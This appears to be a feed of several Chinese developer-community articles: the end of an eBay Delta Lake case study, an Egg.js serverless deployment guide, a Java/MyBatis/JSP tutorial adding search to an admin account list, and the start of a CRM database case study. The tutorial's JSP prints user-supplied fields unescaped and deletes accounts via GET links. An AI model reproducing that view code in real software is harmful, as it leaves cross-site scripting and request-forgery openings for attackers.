    此外,我们对Delta Lake的成熟度和性能也比较担忧(现实也验证了Delta Lake的开源版本在SQL成熟度上的确不足)。实践中发现除了ACID这个核心功能不用操心以外,基本上都要二次开发。最后和我们使用的基于社区2.3版本进行魔改的Carmel Spark的集成相比,也存在许多挑战。

    再说一下为什么选择Delta Lake。目前来看,除了Delta Lake之外,Apache Hudi和Apache Iceberg也能完成ACID的功能。当时选择Delta Lake一是因为它是Databricks的产品,在Databricks内部版本比较成熟,长期来看其开源版本也会和Apache Spark更加紧密。二是当时公司内部还有一个准实时数仓的项目,立项也是使用Delta Lake。考虑到尽可能保持技术栈一致,我们选择了Delta Lake,而且单从这个项目上Apache Hudi和Apache Iceberg并没有特别的优势。

    最后说一下用户支持,其实做一个项目最复杂也是最耗时的并不是编码阶段,而是上线后接受用户的考验。该功能的第一批用户是来自eBay瑞士的财务部门分析师团队,因为不在同一个时区,春节假期里几乎每晚都会通过Zoom和我沟通。这种在用户和开发者之间的持续交流,使得一些隐藏的问题即时浮现出来,用户也得到了较好的使用体验。我们的Carmel Spark每周都会有半个小时的例行发布窗口,用户遇到的bug几乎都在下次发布窗口时得到了修复。在这一周中,我们也会找出workaround方式,帮助用户进度的推进。目前该功能已经在所有队列上启用,越来越多的用户开始参与试用。

    8.2 总结

    本文从源码角度讲解如何利用Delta Lake使老版本的Spark SQL支持跨表的CRUD操作,以及我们所做的优化和管理工作。最后,简单介绍了未来的工作方向以及项目实施上的一些感悟,希望能对阅读者有所帮助。

    参考文献

    [1] https://spark.apache.org/
    [2] https://www.teradata.com/
    [3] https://delta.io/
    [4] https://parquet.apache.org/
    [5] https://hive.apache.org/
    [6] https://iceberg.apache.org/
    [7] https://hudi.apache.org/
    [8]https://databricks.com/blog/2015/04/13/deep-dive-into-spark-sqls-catalyst-optimizer.html
    [9]http://blog.madhukaraphatak.com/introduction-to-spark-two-part-4/
    [10] https://www.antlr.org/
    [11] https://www.mysql.com/
    [12] https://www.postgresql.org/
    [13]https://databricks.com/blog/2019/02/04/introducing-delta-time-travel-for-large-scale-data-lakes.html
    [14]https://hadoop.apache.org/docs/current/hadoop-yarn/hadoop-yarn-site/YARN.html


    阿里巴巴开源大数据技术团队成立Apache Spark中国技术社区,定期推送精彩案例,技术专家直播,问答区近万人Spark技术同学在线提问答疑,只为营造纯粹的Spark氛围,欢迎钉钉扫码加入!
    image.png

    对开源大数据和感兴趣的同学可以加小编微信(下图二维码,备注“进群”)进入技术交流微信群。Apache
    image.png

    Spark技术交流社区公众号,微信扫一扫关注
    image.png

    ]]>
    轻松搭建基于 Serverless 的 Egg.js Web 应用-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 gabriel-garcia-marengo-ht9aLtovtSo-unsplash.jpg

    首先介绍下在本文出现的几个比较重要的概念:

    函数计算(Function Compute): 函数计算是一个事件驱动的服务,通过函数计算,用户无需管理服务器等运行情况,只需编写代码并上传。函数计算准备计算资源,并以弹性伸缩的方式运行用户代码,而用户只需根据实际代码运行所消耗的资源进行付费。函数计算更多信息 参考
    Fun: Fun 是一个用于支持 Serverless 应用部署的工具,能帮助您便捷地管理函数计算、API 网关、日志服务等资源。它通过一个资源配置文件(template.yml),协助您进行开发、构建、部署操作。Fun 的更多文档 参考

    备注: 本文介绍的技巧需要 Fun 版本大于等于 3.6.9。

    Egg.js 是什么?

    Egg.js 官方描述为:

    Egg.js 为企业级框架和应用而生,我们希望由 Egg.js 孕育出更多上层框架,帮助开发团队和开发人员降低开发和维护成本。
    Egg 奉行『约定优于配置』,按照一套统一的约定进行应用开发,团队内部采用这种方式可以减少开发人员的学习成本,开发人员不再是『钉子』,可以流动起来。
    Egg 的插件机制有很高的可扩展性,一个插件只做一件事。Egg 通过框架聚合这些插件,并根据自己的业务场景定制配置,这样应用的开发成本就变得很低。

    Egg 特性:

    • 提供基于 Egg 定制上层框架的能力
    • 高度可扩展的插件机制
    • 内置多进程管理
    • 基于 Koa 开发,性能优异
    • 框架稳定,测试覆盖率高
    • 渐进式开发

    示例效果预览

    本文涉及到的应用示例部署后的链接,点击预览效果:

    Egg.js 应用示例:http://mtime.functioncompute.com/hot

    环境准备

    首先按照 Fun 的安装文档里介绍的方法将 Fun 安装到本机。

    PS: 本文介绍的方法,不需要安装 Docker,仅仅安装 Fun 即可,最简单的方式就是直接下载可执行的二进制文件。

    安装完成后,可以执行 fun --version 检查 Fun 是否安装成功。

    第一个示例:快速初始化并部署一个 Egg.js 示例应用

    根据官方快速入门文档描述的步骤依次如下操作。

    初始化一个 egg.js 示例:

    mkdir egg-example && cd egg-example
    npm init egg --type=simple
    npm i

    将该示例在本地运行测试:

    npm run dev

    然后可以在浏览器访问 http://127.0.0.1:7001 查看效果。

    本地开发完成后,可以直接使用如下命令进行一键部署:

    fun deploy -y 

    第二个示例:快速迁移一个已有的 Egg.js 应用

    这里我们拿一个开源的 Egg.js web 应用做示例:https://github.com/OrangeXC/mtime

    首先我们需要将该应用克隆下来:

    git clone https://github.com/OrangeXC/mtime

    进入到 mtime 目录,使用 npm 安装依赖:

    npm install

    本地启动应用:

    npm run dev

    本地启动应用时,会使用 config/config.default.js 这个配置,需要将该配置中的 mysql 的 username、password 等属性配置为正确的值,才能将应用启动起来。

    启动完成后,本地通过浏览器打开网址 http://127.0.0.1:7001 预览效果即可。

    当本地测试完成后,我们就要考虑如何将其部署到线上了。部署到线上,Egg.js 默认会优先使用 config/config.prod.js 的配置,我们可以配置线上的数据库到这个文件里,这样就可以实现本地开发与线上部署使用不同的数据库的目的了。

    当然,在本地也可以验证下配置是否正确,直接使用 npm run start 就可以将应用以生产的方式运行起来,使用 npm run stop 可以将应用停止。

    最后,我们还需要修改下 Egg.js 的缓存与日志目录,我们添加下面的内容到 config/config.prod.js 中:

      config.rundir = '/tmp/run',
      config.logger = {
        dir: '/tmp/log',
      }

    上面的配置表示将 Egg.js 缓存以及日志写到函数计算的可写目录内(日志输出到 console 也是可以的)。

    最后,我们使用 Fun 一键部署:

    fun deploy -y

    部署完成后,可以在终端输出看到临时域名 13500180-1986114430573743.test.functioncompute.com,通过浏览器打开临时域名可以看到与本地运行时一样的效果。

    总结

    本文主要介绍了如何将 Egg.js 应用部署到函数计算。相比较与传统的部署方法,不仅没有更复杂,还省略了购买机器、安装配置 Node、Npm 的步骤。可以实现,将传统的 Egg.js 应用在本地开发完成后,一键部署到远端直接用于生产,并拥有了弹性伸缩、按量付费、免运维等特性。

    如果您在迁移您的应用过程中遇到了问题,欢迎加入我们的 dingding 群 11721331 反馈。

    阿里巴巴云原生关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的技术圈。”

    ]]>
    Java单体应用 - 项目实战(后台) - 03.后台账户管理 - 06.搜索功能-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 原文地址:http://www.work100.net/training/monolithic-project-iot-cloud-admin-manager-search.html
    更多教程:光束云 - 免费课程

    搜索功能

    序号 文内章节 视频
    1 概述 -
    2 使用动态SQL -
    3 修改AuthManagerDao接口 -
    4 修改AuthManagerService接口 -
    5 定义搜索器ManagerSearcher -
    6 修改AuthManagerServiceImpl实现 -
    7 修改ManagerController -
    8 修改视图文件 -
    9 测试验证 -
    10 实例源码 -

    请参照如上章节导航进行阅读

    1.概述

    接下来实现 账户列表 页面的 搜索功能,预期实现的画面效果如下:

    1.1.简单搜索

    查询列表-合拢 - 光束云 - work100.net

    1.2.复杂搜索

    查询列表-展开 - 光束云 - work100.net

    2.使用动态SQL

    因搜索功能的查询条件是动态变化的,所以我们的查询语句也需要动态生成,这里就需要使用我们前述章节 MyBatis 动态 SQL 讲述的知识。

    我们在 AuthManagerMapper.xml 映射文件中新增一个 select 语句 search,代码如下:

    <select id="search" resultType="AuthManager">
        SELECT
          <include refid="authManagerColumns" />
        FROM
          auth_manager AS a
        <where>
            <if test="userName != null and userName != ''">
                AND a.user_name LIKE CONCAT('%', #{userName}, '%')
            </if>
            <if test="roles != null and roles != ''">
                AND a.roles LIKE CONCAT('%', #{roles}, '%')
            </if>
            <if test="status != -1">
                AND a.status = #{status}
            </if>
        </where>
        ORDER BY a.id DESC
    </select>

    3.修改AuthManagerDao接口

    增加 search 方法,代码如下:

    /**
     * 搜索
     *
     * @param authManager
     * @return
     */
    List<AuthManager> search(AuthManager authManager);

    4.修改AuthManagerService接口

    增加 search 方法,代码如下:

    /**
     * 搜索
     *
     * @param managerSearcher 搜索器
     * @return
     */
    List<AuthManager> search(ManagerSearcher managerSearcher);

    这里面我们引入了 ManagerSearcher 搜索器类,该类用于传递查询参数,下面将完成其实现代码

    5.定义搜索器ManagerSearcher

    5.1.BaseSearcher 类

    iot-cloud-commons 项目下的 net.work100.training.stage2.iot.cloud.commons.dto 包中新增一个 BaseSearcher 类,代码如下:

    package net.work100.training.stage2.iot.cloud.commons.dto;
    
    import java.io.Serializable;
    
    /**
     * <p>Title: Searcher</p>
     * <p>Description: </p>
     *
     * @author liuxiaojun
     * @date 2020-03-08 16:45
     * ------------------- History -------------------
     * <date>      <author>       <desc>
     * 2020-03-08   liuxiaojun     初始创建
     * -----------------------------------------------
     */
    public abstract class BaseSearcher implements Serializable {
        private String keyword;
        private boolean advanced;
    
        public String getKeyword() {
            return keyword;
        }
    
        public void setKeyword(String keyword) {
            this.keyword = keyword;
        }
    
        public boolean isAdvanced() {
            return advanced;
        }
    
        public void setAdvanced(boolean advanced) {
            this.advanced = advanced;
        }
    }

    5.2.ManagerSearcher 类

    iot-cloud-web-admin 项目下增加一个 net.work100.training.stage2.iot.cloud.web.admin.dto.auth 类包,然后该类包下新建一个 ManagerSearcher 类,代码如下:

    package net.work100.training.stage2.iot.cloud.web.admin.dto.auth;
    
    import net.work100.training.stage2.iot.cloud.commons.dto.BaseSearcher;
    
    /**
     * <p>Title: ManagerSearcher</p>
     * <p>Description: </p>
     * <p>Url: http://www.work100.net/training/monolithic-project-iot-cloud-admin.html</p>
     *
     * @author liuxiaojun
     * @date 2020-03-08 17:02
     * ------------------- History -------------------
     * <date>      <author>       <desc>
     * 2020-03-08   liuxiaojun     初始创建
     * -----------------------------------------------
     */
    public class ManagerSearcher extends BaseSearcher {
    
        private String userName;
        private String roles;
        private int status;
    
        public String getUserName() {
            return userName;
        }
    
        public void setUserName(String userName) {
            this.userName = userName;
        }
    
        public String getRoles() {
            return roles;
        }
    
        public void setRoles(String roles) {
            this.roles = roles;
        }
    
        public int getStatus() {
            return status;
        }
    
        public void setStatus(int status) {
            this.status = status;
        }
    }

    6.修改AuthManagerServiceImpl实现

    实现 search 方法,代码如下:

    @Override
    public List<AuthManager> search(ManagerSearcher managerSearcher) {
        AuthManager authManager = new AuthManager();
        if (!managerSearcher.isAdvanced()) {
            authManager.setUserName(managerSearcher.getKeyword());
            authManager.setRoles("");
            authManager.setStatus(-1);
        } else {
            authManager.setUserName(managerSearcher.getUserName());
            authManager.setRoles(managerSearcher.getRoles());
            authManager.setStatus(managerSearcher.getStatus());
        }
        return authManagerDao.search(authManager);
    }

    7.修改ManagerController

    7.1.修改 list 方法

    @RequestMapping(value = "list", method = RequestMethod.GET)
    public String list(Model model) {
        ManagerSearcher managerSearcher = new ManagerSearcher();
        managerSearcher.setKeyword("");
        managerSearcher.setAdvanced(false);
        managerSearcher.setRoles("");
        managerSearcher.setStatus(-1);
        model.addAttribute(managerSearcher);
    
        List<AuthManager> authManagers = authManagerService.selectAll();
        model.addAttribute("authManagers", authManagers);
        return "auth/manager_list";
    }

    7.2.新增 search 方法

    @RequestMapping(value = "search", method = RequestMethod.POST)
    public String search(ManagerSearcher managerSearcher, Model model) {
    
        List<AuthManager> authManagers = authManagerService.search(managerSearcher);
        model.addAttribute("managerSearcher", managerSearcher);
        model.addAttribute("authManagers", authManagers);
        return "auth/manager_list";
    }

    8.修改视图文件

    下面修改视图文件 manager_list.jsp 的实现代码。

    8.1.引入 form 表单标签库

    <%@ taglib prefix="form" uri="http://www.springframework.org/tags/form" %>

    8.2.搜索功能实现

    修改 <div class="card"> 标签部分代码,修改后的代码如下:

    <form:form action="/auth/manager/search" method="post" modelAttribute="managerSearcher">
        <form:hidden path="advanced" />
        <div class="card">
            <div class="card-header">
                <div class="card-title">
                    <div class="btn-group">
                        <a href="/auth/manager/add" type="button" class="btn btn-primary">新增</a>
                        <button type="button" class="btn btn-default">更多...</button>
                        <button type="button" class="btn btn-default dropdown-toggle dropdown-icon" data-toggle="dropdown">
                            <span class="sr-only">Toggle Dropdown</span>
                            <div class="dropdown-menu" role="menu">
                                <a class="dropdown-item" href="#">批量锁定</a>
                                <a class="dropdown-item" href="#">批量解锁</a>
                                <div class="dropdown-divider"></div>
                                <a class="dropdown-item" href="#">批量删除</a>
                            </div>
                        </button>
                    </div>
                    <div class="btn-group">
                        <a href="/auth/manager/list" type="button" class="btn btn-default" title="重新加载"><i class="fas fa-redo"></i></a>
                        <button type="button" class="btn btn-default" title="打印"><i class="fas fa-print"></i></button>
                        <button type="button" class="btn btn-default" title="下载"><i class="fas fa-download"></i></button>
                    </div>
                </div>
                <div id="btnOpen" class="card-tools" style="display: ${managerSearcher.advanced?"none":"block"};">
                    <div class="input-group" style="padding-top: 5px;">
                        <form:input path="keyword" cssClass="form-control" placeholder="关键字:用户名" />
                        <div class="input-group-append">
                            <button type="submit" class="btn btn-default">搜索
                                <i class="fas fa-search"></i></button>
                        </div>
                        <div class="input-group-append">
                            <button type="button" class="btn btn-default" title="展开更多" onclick="showSearcher()">
                                展开 <i class="fas fa-angle-double-down"></i></button>
                        </div>
                    </div>
                </div>
                <div id="btnClose" class="card-tools" style="display: ${managerSearcher.advanced?"block":"none"};">
                    <div class="input-group" style="padding-top: 5px;">
                        <div class="input-group-append">
                            <button type="button" class="btn btn-default" title="合拢更多" onclick="hideSearcher()">
                                合拢 <i class="fas fa-angle-double-up"></i></button>
                        </div>
                    </div>
                </div>
            </div>
            <div class="card-header" id="searcher" style="display: ${managerSearcher.advanced?"block":"none"};background-color: #f2f4f8;">
                <div class="row">
                    <div class="col-md-9">
                        <div class="input-group">
                            <form:input path="userName" cssClass="form-control" placeholder="用户名" />
                            <form:select path="roles" class="form-control select2" style="width: 150px;">
                                <option value="" ${managerSearcher.roles == "" ? "selected" : ""}>
                                    角色
                                </option>
                                <option value="admin" ${managerSearcher.roles == "admin" ? "selected" : ""}>
                                    admin
                                </option>
                                <option value="editor" ${managerSearcher.roles == "editor" ? "selected" : ""}>
                                    editor
                                </option>
                            </form:select>
                            <form:select path="status" class="form-control select2" style="width: 150px;">
                                <option value="-1" ${managerSearcher.status == -1 ? "selected" : ""}>
                                    状态
                                </option>
                                <option value="0" ${managerSearcher.status == 0 ? "selected" : ""}>
                                    未激活
                                </option>
                                <option value="1" ${managerSearcher.status == 1 ? "selected" : ""}>
                                    激活
                                </option>
                                <option value="2" ${managerSearcher.status == 2 ? "selected" : ""}>
                                    锁定
                                </option>
                                <option value="3" ${managerSearcher.status == 3 ? "selected" : ""}>
                                    删除
                                </option>
                            </form:select>
                        </div>
                    </div>
                    <div class="col-md-3">
                        <div class="btn-group">
                            <button type="submit" class="btn btn-primary">搜 索</button>
                        </div>
                        <div class="btn-group">
                            <a href="/auth/manager/list" type="button" class="btn btn-default">重 置</a>
                        </div>
                    </div>
                </div>
            </div>
            <div class="card-body table-responsive p-0">
                <table class="table table-hover text-nowrap">
                    <thead>
                    <tr>
                        <th>ID</th>
                        <th>用户名</th>
                        <th>角色</th>
                        <th>超级用户</th>
                        <th>状态</th>
                        <th>更新时间</th>
                        <th width="120px" align="center">操作</th>
                    </tr>
                    </thead>
                    <tbody>
                    <c:forEach items="${authManagers}" var="authManager">
                        <tr>
                            <td>${authManager.id}</td>
                            <td>${authManager.userName}</td>
                            <td>${authManager.roles}</td>
                            <td>${authManager.superuser?"是":"否"}</td>
                            <td>
                                <c:choose>
                                    <c:when test="${authManager.status==0}">
                                        <label class="text-muted">未激活</label>
                                    </c:when>
                                    <c:when test="${authManager.status==1}">
                                        <label class="text-success">已激活</label>
                                    </c:when>
                                    <c:when test="${authManager.status==2}">
                                        <label class="text-warning">锁定</label>
                                    </c:when>
                                    <c:when test="${authManager.status==3}">
                                        <label class="text-danger">被删除</label>
                                    </c:when>
                                </c:choose>
                            </td>
                            <td>
                                <fmt:formatDate value="${authManager.updated}" pattern="yyyy-MM-dd HH:mm:ss" /></td>
                            <td>
                                <div class="btn-group">
                                    <a href="#" type="button" class="btn btn-default btn-sm"><i class="fas fa-eye"></i></a>
                                    <a href="/auth/manager/edit/${authManager.userKey}" type="button" class="btn btn-primary btn-sm"><i class="fas fa-edit"></i></a>
                                    <button type="button" class="btn btn-danger btn-sm" data-toggle="modal" data-target="#modal-operate-confirm" data-whatever="${authManager.userKey}">
                                        <i class="fas fa-trash"></i></button>
                                </div>
                            </td>
                        </tr>
                    </c:forEach>
                    </tbody>
                </table>
            </div>
            <!-- /.card-body -->
        </div>
        <!-- /.card -->
    </form:form>

    8.3.修改 JS 脚本

    修改页面中自定义的 JS 脚本,增加 select 控件的初始化,以及增加 高级搜索 表单的显示隐藏功能,代码如下:

    $(function() {
        //Initialize Select2 Elements
        $('.select2').select2();
    
        //Initialize Select2 Elements
        $('.select2bs4').select2({
            theme: 'bootstrap4'
        });
    
        if (${baseResult.status != null && baseResult.status == 200}) {
            const Toast = Swal.mixin({
                toast: true,
                position: 'top',
                showConfirmButton: false,
                timer: 2000,
                timerProgressBar: true
            })
    
            Toast.fire({
                type: 'success',
                title: '${baseResult.message}'
            })
        }
    
        $('#modal-operate-confirm').on('show.bs.modal', function(event) {
            let trigger = $(event.relatedTarget)
            let userKey = trigger.data('whatever')
            let modal = $(this)
            let ok = modal.find('.modal-footer button')[1]
            $(ok).click(function(e) {
                location.href = '/auth/manager/delete/' + userKey
            })
        })
    })
    
    // 显示高级搜索
    function showSearcher() {
        $("#advanced").val(true);
        $("#searcher").css('display', 'block');
        $("#btnOpen").css('display', 'none');
        $("#btnClose").css('display', 'block');
    }
    
    // 隐藏高级搜索
    function hideSearcher() {
        $("#advanced").val(false);
        $("#searcher").css('display', 'none');
        $("#btnOpen").css('display', 'block');
        $("#btnClose").css('display', 'none');
    }

    8.4.完整代码

    视图 manager_list.jsp 文件的完整代码如下:

    <%@ page contentType="text/html;charset=UTF-8" language="java" %>
    <%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %>
    <%@ taglib prefix="fmt" uri="http://java.sun.com/jsp/jstl/fmt" %>
    <%@ taglib prefix="form" uri="http://www.springframework.org/tags/form" %>
    <!DOCTYPE html>
    <html>
    <head>
        <title>查询列表 - 后台账户 | IoT-Admin</title>
        <jsp:include page="../includes/resources_head.jsp" />
    </head>
    <body class="hold-transition sidebar-mini">
    <div class="wrapper">
    
        <jsp:include page="../includes/layout_header.jsp" />
    
        <jsp:include page="../includes/layout_left.jsp" />
    
        <!-- Content Wrapper. Contains page content -->
        <div class="content-wrapper">
            <!-- Content Header (Page header) -->
            <div class="content-header">
                <div class="container-fluid">
                    <div class="row mb-2">
                        <div class="col-sm-6">
                            <h1 class="m-0 text-dark">查询列表</h1>
                        </div><!-- /.col -->
                        <div class="col-sm-6">
                            <ol class="breadcrumb float-sm-right">
                                <li class="breadcrumb-item"><a href="#">后台账户</a></li>
                                <li class="breadcrumb-item active">查询列表</li>
                            </ol>
                        </div><!-- /.col -->
                    </div><!-- /.row -->
                </div><!-- /.container-fluid -->
            </div>
            <!-- /.content-header -->
    
            <!-- Main content -->
            <div class="content">
                <div class="container-fluid">
                    <div class="row">
                        <div class="col">
                            <form:form action="/auth/manager/search" method="post" modelAttribute="managerSearcher">
                                <form:hidden path="advanced" />
                                <div class="card">
                                    <div class="card-header">
                                        <div class="card-title">
                                            <div class="btn-group">
                                                <a href="/auth/manager/add" type="button" class="btn btn-primary">新增</a>
                                                <button type="button" class="btn btn-default">更多...</button>
                                                <button type="button" class="btn btn-default dropdown-toggle dropdown-icon" data-toggle="dropdown">
                                                    <span class="sr-only">Toggle Dropdown</span>
                                                    <div class="dropdown-menu" role="menu">
                                                        <a class="dropdown-item" href="#">批量锁定</a>
                                                        <a class="dropdown-item" href="#">批量解锁</a>
                                                        <div class="dropdown-divider"></div>
                                                        <a class="dropdown-item" href="#">批量删除</a>
                                                    </div>
                                                </button>
                                            </div>
                                            <div class="btn-group">
                                                <a href="/auth/manager/list" type="button" class="btn btn-default" title="重新加载"><i class="fas fa-redo"></i></a>
                                                <button type="button" class="btn btn-default" title="打印"><i class="fas fa-print"></i></button>
                                                <button type="button" class="btn btn-default" title="下载"><i class="fas fa-download"></i></button>
                                            </div>
                                        </div>
                                        <div id="btnOpen" class="card-tools" style="display: ${managerSearcher.advanced?"none":"block"};">
                                            <div class="input-group" style="padding-top: 5px;">
                                                <form:input path="keyword" cssClass="form-control" placeholder="关键字:用户名" />
                                                <div class="input-group-append">
                                                    <button type="submit" class="btn btn-default">搜索
                                                        <i class="fas fa-search"></i></button>
                                                </div>
                                                <div class="input-group-append">
                                                    <button type="button" class="btn btn-default" title="展开更多" onclick="showSearcher()">
                                                        展开 <i class="fas fa-angle-double-down"></i></button>
                                                </div>
                                            </div>
                                        </div>
                                        <div id="btnClose" class="card-tools" style="display: ${managerSearcher.advanced?"block":"none"};">
                                            <div class="input-group" style="padding-top: 5px;">
                                                <div class="input-group-append">
                                                    <button type="button" class="btn btn-default" title="合拢更多" onclick="hideSearcher()">
                                                        合拢 <i class="fas fa-angle-double-up"></i></button>
                                                </div>
                                            </div>
                                        </div>
                                    </div>
                                    <div class="card-header" id="searcher" style="display: ${managerSearcher.advanced?"block":"none"};background-color: #f2f4f8;">
                                        <div class="row">
                                            <div class="col-md-9">
                                                <div class="input-group">
                                                    <form:input path="userName" cssClass="form-control" placeholder="用户名" />
                                                    <form:select path="roles" class="form-control select2" style="width: 150px;">
                                                        <option value="" ${managerSearcher.roles == "" ? "selected" : ""}>
                                                            角色
                                                        </option>
                                                        <option value="admin" ${managerSearcher.roles == "admin" ? "selected" : ""}>
                                                            admin
                                                        </option>
                                                        <option value="editor" ${managerSearcher.roles == "editor" ? "selected" : ""}>
                                                            editor
                                                        </option>
                                                    </form:select>
                                                    <form:select path="status" class="form-control select2" style="width: 150px;">
                                                        <option value="-1" ${managerSearcher.status == -1 ? "selected" : ""}>
                                                            状态
                                                        </option>
                                                        <option value="0" ${managerSearcher.status == 0 ? "selected" : ""}>
                                                            未激活
                                                        </option>
                                                        <option value="1" ${managerSearcher.status == 1 ? "selected" : ""}>
                                                            激活
                                                        </option>
                                                        <option value="2" ${managerSearcher.status == 2 ? "selected" : ""}>
                                                            锁定
                                                        </option>
                                                        <option value="3" ${managerSearcher.status == 3 ? "selected" : ""}>
                                                            删除
                                                        </option>
                                                    </form:select>
                                                </div>
                                            </div>
                                            <div class="col-md-3">
                                                <div class="btn-group">
                                                    <button type="submit" class="btn btn-primary">搜 索</button>
                                                </div>
                                                <div class="btn-group">
                                                    <a href="/auth/manager/list" type="button" class="btn btn-default">重 置</a>
                                                </div>
                                            </div>
                                        </div>
                                    </div>
                                    <div class="card-body table-responsive p-0">
                                        <table class="table table-hover text-nowrap">
                                            <thead>
                                            <tr>
                                                <th>ID</th>
                                                <th>用户名</th>
                                                <th>角色</th>
                                                <th>超级用户</th>
                                                <th>状态</th>
                                                <th>更新时间</th>
                                                <th width="120px" align="center">操作</th>
                                            </tr>
                                            </thead>
                                            <tbody>
                                            <c:forEach items="${authManagers}" var="authManager">
                                                <tr>
                                                    <td>${authManager.id}</td>
                                                    <td>${authManager.userName}</td>
                                                    <td>${authManager.roles}</td>
                                                    <td>${authManager.superuser?"是":"否"}</td>
                                                    <td>
                                                        <c:choose>
                                                            <c:when test="${authManager.status==0}">
                                                                <label class="text-muted">未激活</label>
                                                            </c:when>
                                                            <c:when test="${authManager.status==1}">
                                                                <label class="text-success">已激活</label>
                                                            </c:when>
                                                            <c:when test="${authManager.status==2}">
                                                                <label class="text-warning">锁定</label>
                                                            </c:when>
                                                            <c:when test="${authManager.status==3}">
                                                                <label class="text-danger">被删除</label>
                                                            </c:when>
                                                        </c:choose>
                                                    </td>
                                                    <td>
                                                        <fmt:formatDate value="${authManager.updated}" pattern="yyyy-MM-dd HH:mm:ss" /></td>
                                                    <td>
                                                        <div class="btn-group">
                                                            <a href="#" type="button" class="btn btn-default btn-sm"><i class="fas fa-eye"></i></a>
                                                            <a href="/auth/manager/edit/${authManager.userKey}" type="button" class="btn btn-primary btn-sm"><i class="fas fa-edit"></i></a>
                                                            <button type="button" class="btn btn-danger btn-sm" data-toggle="modal" data-target="#modal-operate-confirm" data-whatever="${authManager.userKey}">
                                                                <i class="fas fa-trash"></i></button>
                                                        </div>
                                                    </td>
                                                </tr>
                                            </c:forEach>
                                            </tbody>
                                        </table>
                                    </div>
                                    <!-- /.card-body -->
                                </div>
                                <!-- /.card -->
                            </form:form>
                        </div>
                    </div>
                </div>
                <!-- /.container-fluid -->
            </div>
            <!-- /.content -->
    
            <div class="modal fade" id="modal-operate-confirm">
                <div class="modal-dialog">
                    <div class="modal-content">
                        <div class="modal-header">
                            <h4 class="modal-title">操作确认</h4>
                            <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                                <span aria-hidden="true">&times;</span>
                            </button>
                        </div>
                        <div class="modal-body">
                            <p>操作后不可恢复,确定吗?</p>
                        </div>
                        <div class="modal-footer">
                            <button type="button" class="btn btn-default" data-dismiss="modal">取消</button>
                            <button type="button" class="btn btn-primary">确定</button>
                        </div>
                    </div>
                    <!-- /.modal-content -->
                </div>
                <!-- /.modal-dialog -->
            </div>
            <!-- /.modal -->
        </div>
        <!-- /.content-wrapper -->
    
        <jsp:include page="../includes/layout_footer.jsp" />
    </div>
    <!-- ./wrapper -->
    <jsp:include page="../includes/resources_body.jsp" />
    
    <script>
    $(function() {
        //Initialize Select2 Elements
        $('.select2').select2();
    
        //Initialize Select2 Elements
        $('.select2bs4').select2({
            theme: 'bootstrap4'
        });
    
        if (${baseResult.status != null && baseResult.status == 200}) {
            const Toast = Swal.mixin({
                toast: true,
                position: 'top',
                showConfirmButton: false,
                timer: 2000,
                timerProgressBar: true
            })
    
            Toast.fire({
                type: 'success',
                title: '${baseResult.message}'
            })
        }
    
        $('#modal-operate-confirm').on('show.bs.modal', function(event) {
            let trigger = $(event.relatedTarget)
            let userKey = trigger.data('whatever')
            let modal = $(this)
            let ok = modal.find('.modal-footer button')[1]
            $(ok).click(function(e) {
                location.href = '/auth/manager/delete/' + userKey
            })
        })
    })
    
    // 显示高级搜索
    function showSearcher() {
        $("#advanced").val(true);
        $("#searcher").css('display', 'block');
        $("#btnOpen").css('display', 'none');
        $("#btnClose").css('display', 'block');
    }
    
    // 隐藏高级搜索
    function hideSearcher() {
        $("#advanced").val(false);
        $("#searcher").css('display', 'none');
        $("#btnOpen").css('display', 'block');
        $("#btnClose").css('display', 'none');
    }
    </script>
    </body>
    </html>

    9.测试验证

    重启 Tomcat 运行并验证搜索功能效果。

    10.实例源码

    实例源码已经托管到如下地址:


    上一篇:删除账户

    上一篇:JS代码重构


    如果对课程内容感兴趣,可以扫码关注我们的 公众号QQ群,及时关注我们的课程更新

    公众号 - 光束云 - work100.net
    QQ交流群 - 光束云 - work100.net

    ]]>
    支撑数千家天猫商家CRM业务,数云高弹性数据库如何做-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800

    “数据,已经渗透到当今每一个行业和业务职能领域,成为重要的生产因素。人们对于海量数据的挖掘和运用,预示着新一波生产率增长和消费者盈余浪潮的到来”。-----麦肯锡

    基于互联网和大数据和时代背景,用户在互联网上留下更多的印记,给企业提供了更多的用户相关数据,有了这些数据,企业不用再盲目地探索营销手段,而是可以运用大数据能力来降低成本提升产品的效益性,并实现精准化到用户需求,大数据分析借助巨大商业价值逐步走向营销的舞台,越来越多的品牌试图从海量的数据中分析出有价值的商业信息,以便做到精准营销。

    数云是国内领先的数据化运营解决方案服务提供商,致力为消费品牌和零售品牌商提供整合软件产品、数据模型和专业服务的一站式数据化营销解决方案,数云在CRM领域的品牌客户保有量、品牌客户市场占有率、产品和解决方案综合能力等方面都排名第一。业务的高速发展和核心数据量的不断增长给数云带来了巨大的技术挑战。

    品牌客户及品牌客户数据量增加迎来挑战

    杭州数云信息技术有限公司成立于2011年,坚持以客户为中心,重构“人-货-场”,利用大数据和人工智能技术,支持全渠道、全链路、跨品牌、跨品类的数据化运营体系,驱动零售整体变革。在过去九年,数云的产品和解决方案以及公司影响力获得业界的一致认可。
    66.png

    数云持续打造基于数据赢家、云加CRM、互动赢家、智多星、数云大数据等产品的高效的SAAS化软件产品体系,基于这些核心产品帮客户提供全渠道客户资产管理、全渠道会员成长管理、全渠道客户营销策略等解决方案,并向客户提供联合营销、会员发展联盟、数据银行服务、全链路消费者运营等优质个性化服务,帮客户提供客户管理高效化、客户数据可视化、客户营销精准化等产品能力。

    伴随数云产品、解决方案的不断升级和完善,数云在零售品牌电商客户数据化运营一直保持领先的位置,同时数云的产品和解决方案的能力在业界也是业界一流,获得诸多客户的信赖。有数千家品牌客户依托数云的产品体系构建适合自己的数据化运营解决方案,单客户数亿条核心数据、总数据上百TB的数据存储、以及大促期间的高并发访问都给数云的数据库存储选型带来了巨大挑战,需要数据库具备单实例海量数据存储、高弹性、高并发写性能、低运维成本等能力。

    为了解决这些业务挑战,数云开启了核心业务数据库优化之路。

    从MySQL到POLARDB

